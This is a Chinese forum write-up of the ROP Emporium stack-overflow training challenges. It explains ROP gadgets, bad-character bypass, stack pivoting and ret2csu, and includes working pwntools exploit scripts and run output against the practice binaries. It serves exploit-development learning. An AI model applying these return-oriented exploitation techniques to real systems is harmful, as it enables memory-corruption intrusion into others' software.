首页
社区
课程
招聘
[原创]栈溢出练习:ROP Emporium
发表于: 2024-8-9 15:54 8289

[原创]栈溢出练习:ROP Emporium

2024-8-9 15:54
8289

个人博客原文链接:https://www.kn0sky.com/?p=938527f1-03c4-4349-8110-5510f7d4b84a

我第一次做这套练习是在初学pwn的时候,隐约记得当时做了一半放弃是卡在了fluff上,当时很复杂,没耐心搞懂bextr和xlat指令就放弃了,现在回过头来,补全当初

这套练习非常适合新手用于栈溢出的学习练习和查缺补漏,关于栈溢出的8个情况,从最基础的覆盖返回地址,到rop,到利用一些机制完成受限的rop,例如栈迁移扩大可控空间,csu操纵寄存器等

本文分享中,非常简单的地方就写的比较简单,不浪费篇幅,复杂的地方分析的内容会比较多

缓解机制:【NX】

漏洞函数:

read读取0x38字节到变量rbp-0x20中,存在溢出

程序存在后门函数:

exp:

运行结果:

缓解机制:【NX】

程序:

read调用存在溢出

程序提供了一些辅助代码:

目标是读取flag.txt,这里需要rop修改一下rdi直接跳转到syscall的call上即可

exp:

运行结果:

缓解机制:【NX】

程序:

read调用存在溢出

程序提供了一些辅助代码:

目标是解密flag,看这个意思是让我连续调用三个函数,并用正确的顺序和参数调用

exp:

运行结果:

缓解机制:【NX】

程序:漏洞函数位于so库中

read调用存在溢出

程序提供了一些辅助代码:

这里的print_file:

目标是读取flag.txt,这里需要rop修改一下rdi指向flag.txt文件名,直接跳转到print_file的call上即可

exp:

运行结果:

缓解机制:【NX】

程序:

read调用存在溢出,过滤了4个字符:'x', 'g', 'a', '.'​,漏洞程序在so库里

程序提供了一些辅助代码:

目标是读取flag.txt,这里的意思应该是,通过输入其他的数值,然后通过计算来绕过过滤,出现过滤字符会变成EB

有提供print_file的链接,可以调用这个函数,目标就是rop到目标函数!

这里参数提供文件名,需要我们自己构造参数

思路是,无脑给flag.txt字符串进行异或,绕过限制,然后调整r14和r15指针,去逐个异或解密,然后跳转到print_file

要是觉得太长了,可以优化一下,部分位不进行加密,只解密过滤的位,这里图省事全处理了

exp:

运行结果:

缓解机制:【NX】

程序:(位于so文件)

read调用存在溢出

程序提供了一些辅助代码:

目标是读取flag.txt,这里也提供了print_file函数可以用,需要参数flag.txt字符串指针

xlat:以al为偏移,索引bx指向内存中的字节,可以用来从内存里取字节,需要al和bx的值可控

bextr:位域索引,第一个源操作数是原数据,第二个源操作数是索引开始位置(8位)和长度,这里可以控制rbx的值

其他有用的gadget:

stosb可以保存1个字节从al到rdi指向的地址,rdi可以控制,设置为随便一个可写地址就行

xlat的效果是,al = [al+rbx],rbx是数组,从rbx中用al索引一个字节到al上,al这里初始值是0xb,需要rbx可控,就能控制al的值

bextr可以用来控制rbx的值,rcx填写目标地址-0x3e2f的值,rdx填写0x4000,表示把rcx的值全部复制给rbx

到此,rbx可控,从而al可控,从而可以写入字节到任意可写内存,开始一步一步实现:

控制rbx:

控制al:

保存al到地址:

保存字符串到地址:

完整exp:

运行结果:

缓解机制:【NX】

程序:

main:

这里申请了巨大无比的内存传入

pwnme:

read调用了2次,第一次是读取到一个缓冲区里,第二次是读取到栈上,可溢出长度非常短

程序提供了缓冲区的地址,这是个栈迁移pivot的示例练习,程序执行输出信息:

程序提供了一些辅助代码:

提供了_foothold_function函数,在so库里,查看so该函数:

该函数毫无意义,但是可以用于延迟绑定后提供该so库的地址泄露

so库里还有个后门函数:

思路现在就是:

执行_foothold_function函数,

打印_foothold_function的got表,泄露地址,拿到win函数地址

返回到pwnme函数的末尾read函数调用

调用win函数

在此之前,需要进行栈迁移:

exp:

运行结果:

缓解机制:【NX】

程序:pwnme在so库里

read调用存在溢出,可以溢出很大空间

so库还提供了后门函数:(太长了,就用伪代码吧)

elf里的有用片段:

调用后门函数,但是参数是错误的

题目的意图很明确,需要满足参数条件后,直接调用win函数

gadgets不满足目标:没法修改这三个值

main函数下面一点可以看到csu函数,这里提供了有用的片段:

上半部分可以给这三个寄存器赋值然后call一个地址,需要我们能控制r13,r14,r15三个寄存器,以及rbx=0,r12=call win函数

下半部分能满足我们要控制的寄存器的要求

思路:

但是这里存在一个问题,就是赋值rdi的那个指令:

只能赋值4字节,高4字节赋值不了,所以不能通过call [r12+rbx*8]调用win函数

这里需要解引用到一个无关紧要的函数上

小知识点,需要解引用找函数跳板去elf的LOAD段去找:

这里保存了很多函数的地址,解引用拿到的就是函数本身,其中0x600E40的函数dt_fini:

不会对我们的参数和布局产生影响,太适合了

接下来是:

这里rbp和rbx都是之前控制的,我们需要让这个跳转不成立,就需要rbx+1==rbp的值

完成之后,再rsp+8,pop6个值之后就是下一个返回地址,从这里去修改rdi为目标值,然后跳转去win函数即可

exp:

运行结果:

8个练习最有难度的对我来说就是fluff去理解两个陌生的指令,其他的嘛,基本上就是出啥躲啥

我愿称之为:一次不错的查漏补缺之旅

#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
#context.log_level = 'debug'
FILE_NAME = "./ret2win"
REMOTE_HOST = ""
REMOTE_PORT = 0
 
elf = context.binary = ELF(FILE_NAME)
#libc = elf.libc
 
gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)
 
# =======================================
io = start()
 
# =============================================================================
# ============== exploit ===================
 
win = 0x40075A
payload = cyclic(0x28) + pack(win)
io.sendline(payload)
 
# =============================================================================
 
io.interactive()
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
#context.log_level = 'debug'
FILE_NAME = "./ret2win"
REMOTE_HOST = ""
REMOTE_PORT = 0
 
elf = context.binary = ELF(FILE_NAME)
#libc = elf.libc
 
gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)
 
# =======================================
io = start()
 
# =============================================================================
# ============== exploit ===================
 
win = 0x40075A
payload = cyclic(0x28) + pack(win)
io.sendline(payload)
 
# =============================================================================
 
io.interactive()
ret2win ➤ ./exp_cli.py
[*] '/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win': pid 3847
[*] Switching to interactive mode
ret2win by ROP Emporium
x86_64
 
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
 
> Thank you!
Well done! Here's your flag:
[*] Process '/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win' stopped with exit code 0 (pid 3847)
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
ret2win ➤ ./exp_cli.py
[*] '/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win': pid 3847
[*] Switching to interactive mode
ret2win by ROP Emporium
x86_64
 
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
 
> Thank you!
Well done! Here's your flag:
[*] Process '/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win' stopped with exit code 0 (pid 3847)
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
int __fastcall print_file(const char *a1)
{
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  FILE *stream; // [rsp+38h] [rbp-8h]
 
  stream = fopen(a1, "r");
  if ( !stream )
  {
    printf("Failed to open file: %s\n", a1);
    exit(1);
  }
  fgets(s, 33, stream);
  puts(s);
  return fclose(stream);
}
int __fastcall print_file(const char *a1)
{
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  FILE *stream; // [rsp+38h] [rbp-8h]
 
  stream = fopen(a1, "r");
  if ( !stream )
  {
    printf("Failed to open file: %s\n", a1);
    exit(1);
  }
  fgets(s, 33, stream);
  puts(s);
  return fclose(stream);
}
#!/bin/python3
from Crypto.Util.number import *
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "badchars"
REMOTE_HOST = ""
REMOTE_PORT = 0
 
 
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
 
gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)
 
# =======================================
 
io = start()
 
# =============================================================================
# ============== exploit ===================
 
"""
.text:0000000000400628 usefulGadgets:
.text:0000000000400628                 xor     [r15], r14b
.text:000000000040062B                 retn
.text:000000000040062C ; ---------------------------------------------------------------------------
.text:000000000040062C                 add     [r15], r14b
.text:000000000040062F                 retn
.text:0000000000400630 ; ---------------------------------------------------------------------------
.text:0000000000400630                 sub     [r15], r14b
.text:0000000000400633                 retn
.text:0000000000400634
.text:0000000000400634 ; =============== S U B R O U T I N E =======================================
.text:0000000000400634
.text:0000000000400634
.text:0000000000400634 sub_400634      proc near
.text:0000000000400634                 mov     [r13+0], r12
.text:0000000000400638                 retn
.text:0000000000400638 sub_400634      endp
"""
 
# filter the x g a .
buf = 0x601100
i = 0
rop = ROP(elf,badchars=b'xga.')
rop.rbp = buf-0x100
rop.raw(0x40069c)
rop.raw(bytes_to_long("".join(reversed("flag.txt")).encode()) ^ 0x1111111111111111)
rop.raw(buf)
rop.raw(0x11)
rop.raw(buf+i)
rop.raw(0x000000000400634)
# 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
rop.raw(0x000000000400628)
i+=1
while i<8:
    rop.raw(0x00000000004006a2)    # 0x00000000004006a2 : pop r15 ; ret
    rop.raw(buf+i)
    rop.raw(0x000000000400628)    # 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
    i+=1
 
rop.rdi = buf
rop.raw(elf.plt.print_file)
 
print(rop.dump())
payload = cyclic(0x28) + rop.chain()
io.sendlineafter(b"> ",payload)
 
 
io.interactive()
#!/bin/python3
from Crypto.Util.number import *
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "badchars"
REMOTE_HOST = ""
REMOTE_PORT = 0
 
 
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
 
gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)
 
# =======================================
 
io = start()
 
# =============================================================================
# ============== exploit ===================
 
"""
.text:0000000000400628 usefulGadgets:
.text:0000000000400628                 xor     [r15], r14b
.text:000000000040062B                 retn
.text:000000000040062C ; ---------------------------------------------------------------------------
.text:000000000040062C                 add     [r15], r14b
.text:000000000040062F                 retn
.text:0000000000400630 ; ---------------------------------------------------------------------------
.text:0000000000400630                 sub     [r15], r14b
.text:0000000000400633                 retn
.text:0000000000400634
.text:0000000000400634 ; =============== S U B R O U T I N E =======================================
.text:0000000000400634
.text:0000000000400634
.text:0000000000400634 sub_400634      proc near
.text:0000000000400634                 mov     [r13+0], r12
.text:0000000000400638                 retn
.text:0000000000400638 sub_400634      endp
"""
 
# filter the x g a .
buf = 0x601100
i = 0
rop = ROP(elf,badchars=b'xga.')
rop.rbp = buf-0x100
rop.raw(0x40069c)
rop.raw(bytes_to_long("".join(reversed("flag.txt")).encode()) ^ 0x1111111111111111)
rop.raw(buf)
rop.raw(0x11)
rop.raw(buf+i)
rop.raw(0x000000000400634)
# 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
rop.raw(0x000000000400628)
i+=1
while i<8:
    rop.raw(0x00000000004006a2)    # 0x00000000004006a2 : pop r15 ; ret
    rop.raw(buf+i)
    rop.raw(0x000000000400628)    # 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
    i+=1
 
rop.rdi = buf
rop.raw(elf.plt.print_file)
 
print(rop.dump())
payload = cyclic(0x28) + rop.chain()
io.sendlineafter(b"> ",payload)
 
 
io.interactive()
def set_rbx(b:int):
    p = b""
    p += pack(bextr_ret)
    p += pack(0x4000)
    p += pack(b - 0x3ef2)
    return p
def set_rbx(b:int):
    p = b""
    p += pack(bextr_ret)
    p += pack(0x4000)
    p += pack(b - 0x3ef2)
    return p
def set_al(a:bytes,offset:int):
    tmp = next(elf.search(a)) - offset
    #print(hex(tmp))
    p = pack(xlatb_ret)
    return set_rbx(tmp) + p
def set_al(a:bytes,offset:int):
    tmp = next(elf.search(a)) - offset
    #print(hex(tmp))
    p = pack(xlatb_ret)
    return set_rbx(tmp) + p
is_first = True
def save_al(val:bytes,offset:int):
    global is_first
    p = b""
    if is_first:
        p += pack(pop_rdi_ret)
        p += pack(buffer)
        is_first = False
    p += pack(stosb_rdi_al_ret)
    return set_al(val,offset) + p
is_first = True
def save_al(val:bytes,offset:int):
    global is_first
    p = b""
    if is_first:
        p += pack(pop_rdi_ret)
        p += pack(buffer)
        is_first = False
    p += pack(stosb_rdi_al_ret)
    return set_al(val,offset) + p
def write_str(s:bytes):
    p=b""
    last_al = 0xb
    for i in s:
        p += save_al(p8(i),last_al)
        last_al = i
    return p

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
请问一下楼主,第一个ret2win挑战为什么地址用0x40075A, 而不是0x400756呢?我尝试过使用0x400756好像打印不出flag,请问这是什么原因呢?
2024-9-6 15:38
0
游客
登录 | 注册 方可回帖
返回
//